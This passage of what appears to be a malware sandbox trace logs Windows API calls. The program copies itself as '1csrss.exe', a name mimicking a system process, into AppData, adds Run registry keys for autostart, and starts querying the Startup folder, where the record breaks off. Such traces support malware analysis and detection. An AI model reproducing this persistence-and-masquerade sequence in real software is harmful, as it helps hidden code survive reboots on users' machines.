dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.133] lstrlenW (lpString="svchost.exe") returned 11 [0269.133] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.133] lstrlenW (lpString="svchost.exe") returned 11 [0269.133] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.134] lstrlenW (lpString="svchost.exe") returned 11 [0269.134] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.134] lstrlenW (lpString="svchost.exe") returned 11 [0269.134] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.135] lstrlenW (lpString="svchost.exe") returned 11 [0269.135] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.136] lstrlenW (lpString="svchost.exe") returned 11 [0269.136] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.136] lstrlenW (lpString="svchost.exe") returned 11 [0269.136] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.137] lstrlenW (lpString="svchost.exe") returned 11 [0269.137] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.137] lstrlenW (lpString="spoolsv.exe") returned 11 [0269.137] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0269.138] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0269.138] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0269.138] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0269.138] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0269.139] lstrlenW (lpString="Memory Compression") returned 18 [0269.139] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.139] lstrlenW (lpString="svchost.exe") returned 11 [0269.139] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.140] lstrlenW (lpString="audiodg.exe") returned 11 [0269.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.140] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0269.140] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0269.141] lstrlenW (lpString="sihost.exe") returned 10 [0269.141] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.141] lstrlenW (lpString="svchost.exe") returned 11 [0269.141] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0269.142] lstrlenW (lpString="taskhostw.exe") returned 13 [0269.142] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0269.142] lstrlenW (lpString="msoia.exe") returned 9 [0269.142] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.143] lstrlenW (lpString="explorer.exe") returned 12 [0269.143] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0269.143] lstrlenW (lpString="SearchUI.exe") returned 12 [0269.143] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0269.144] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0269.144] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0269.144] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0269.144] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0269.145] lstrlenW (lpString="1csrss.exe") returned 10 [0269.145] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0269.145] lstrlenW (lpString="1csrss.exe") returned 10 [0269.145] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0269.146] lstrlenW (lpString="1csrss.exe") returned 10 [0269.146] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.147] lstrlenW (lpString="svchost.exe") returned 11 [0269.147] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0269.147] CloseHandle (hObject=0x240) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8830 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8878 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7100 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f7120 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f6400 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f91d0 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f70c0 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f72c0 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e660 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e8e0 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f70e0 | out: hHeap=0x6e0000) returned 1 [0269.147] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e930 | out: hHeap=0x6e0000) returned 1 [0269.147] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x727ee8 [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x737ef0 [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723948 [0269.148] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723948, Size=0x20) returned 0x71e728 [0269.148] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e728, Size=0x40) returned 0x6f8710 [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723af8 [0269.148] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723af8, Size=0x20) returned 0x71e778 [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723b58 [0269.148] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723b58, Size=0x20) returned 0x71e818 [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7238e8 [0269.148] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7238e8, Size=0x20) returned 0x71e840 [0269.148] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e840, Size=0x40) returned 0x6f8488 [0269.148] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x737ef0, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x747ef8 [0269.148] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x757f00 [0269.149] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723930 [0269.149] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723930, Size=0x20) returned 0x71e7a0 [0269.149] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e7a0, Size=0x40) returned 0x6f87a0 [0269.149] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f87a0, Size=0x80) returned 0x724100 [0269.149] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724100, Size=0x100) returned 0x724a00 [0269.149] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.149] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0269.149] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\1csrss.exe", lpDst=0x747ef8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\1csrss.exe") returned 0x1f [0269.149] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x757f00 | out: hHeap=0x6e0000) returned 1 [0269.149] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x747ef8 | out: hHeap=0x6e0000) returned 1 [0269.150] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x250a020 [0269.153] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723978 [0269.153] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723978, Size=0x20) returned 0x71e8e0 [0269.153] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723a20 [0269.153] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723a20, Size=0x20) returned 0x71e7a0 [0269.154] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.154] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.154] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0269.154] lstrlenW (lpString="kernel32.dll") returned 12 [0269.154] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e8e0 | out: hHeap=0x6e0000) returned 1 [0269.154] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.154] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7a0 | out: hHeap=0x6e0000) returned 1 [0269.154] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0269.154] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.154] CloseHandle (hObject=0x240) returned 1 [0269.155] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7238e8 [0269.155] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7238e8, Size=0x20) returned 0x71e5c0 [0269.155] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723930 [0269.155] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723930, Size=0x20) returned 0x71e728 [0269.155] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.155] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.155] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.155] lstrlenW (lpString="kernel32.dll") returned 12 [0269.155] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e728 | out: hHeap=0x6e0000) returned 1 [0269.155] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.155] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e5c0 | out: hHeap=0x6e0000) returned 1 [0269.155] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x250a020 | out: hHeap=0x6e0000) returned 1 [0269.157] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x747ef8 [0269.157] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x757f00 [0269.157] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723a80 [0269.157] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723a80, Size=0x20) returned 0x71ea20 [0269.157] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ea20, Size=0x40) returned 0x6f8518 [0269.157] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8518, Size=0x80) returned 0x724100 [0269.157] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724100, Size=0x100) returned 0x724a00 [0269.157] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.158] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0269.158] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\1csrss.exe", lpDst=0x747ef8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 0x2b [0269.158] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x757f00 | out: hHeap=0x6e0000) returned 1 [0269.158] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x747ef8 | out: hHeap=0x6e0000) returned 1 [0269.158] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x2501020 [0269.161] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723b40 [0269.161] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723b40, Size=0x20) returned 0x71e660 [0269.161] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723af8 [0269.161] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723af8, Size=0x20) returned 0x71e7f0 [0269.161] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.161] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.161] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.161] lstrlenW (lpString="kernel32.dll") returned 12 [0269.161] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e660 | out: hHeap=0x6e0000) returned 1 [0269.161] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.161] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7f0 | out: hHeap=0x6e0000) returned 1 [0269.161] CreateFileW (lpFileName="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0269.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1csrss.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0269.163] ReadFile (in: hFile=0x240, lpBuffer=0x2501020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2501020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0269.169] WriteFile (in: hFile=0x244, lpBuffer=0x2501020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2501020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0269.171] ReadFile (in: hFile=0x240, lpBuffer=0x2501020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2501020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0269.171] CloseHandle (hObject=0x244) returned 1 [0269.173] CloseHandle (hObject=0x240) returned 1 [0269.173] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723a68 [0269.173] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723a68, Size=0x20) returned 0x71e930 [0269.173] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723900 [0269.173] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723900, Size=0x20) returned 0x71e7c8 [0269.173] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0269.174] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0269.174] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0269.174] lstrlenW (lpString="kernel32.dll") returned 12 [0269.174] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e7c8 | out: hHeap=0x6e0000) returned 1 [0269.174] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0269.174] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e930 | out: hHeap=0x6e0000) returned 1 [0269.174] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x2501020 | out: hHeap=0x6e0000) returned 1 [0269.178] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723a68 [0269.178] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723a68, Size=0x20) returned 0x71e958 [0269.178] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e958, Size=0x40) returned 0x6f8b00 [0269.178] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8b00, Size=0x80) returned 0x726f98 [0269.178] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 42 [0269.178] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0269.178] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x5c) returned 0x724100 [0269.178] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0269.178] RegSetValueExW (hKey=0x240, lpValueName="1csrss.exe", Reserved=0x0, dwType=0x1, lpData=0x727ee8, cbData=0x54) returned 0x5 [0269.178] RegCloseKey (hKey=0x240) returned 0x0 [0269.178] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724100 | out: hHeap=0x6e0000) returned 1 [0269.178] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 42 [0269.178] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0269.178] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x5c) returned 0x724100 [0269.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0 [0269.179] RegSetValueExW (in: hKey=0x244, lpValueName="1csrss.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe", cbData=0x54 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\1csrss.exe") returned 0x0 [0269.179] RegCloseKey (hKey=0x244) returned 0x0 [0269.179] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724100 | out: hHeap=0x6e0000) returned 1 [0269.179] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0269.179] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726f98 | out: hHeap=0x6e0000) returned 1 [0269.179] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x747ef8 [0269.180] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x757f00 [0269.180] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x723978 [0269.180] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x723978, Size=0x20) returned 0x71e8e0 [0269.180] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e8e0, Size=0x40) returned 0x6f8878 [0269.180] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8878, Size=0x80) returned 0x726f98 [0269.180] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726f98, Size=0x100) returned 0x724a00 [0269.180] lstrlenW (lpString="") returned 0 [0269.180] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0269.180] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8c) returned 0x724100 [0269.180] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0269.180] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x757f00, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x757f00*=0x53, 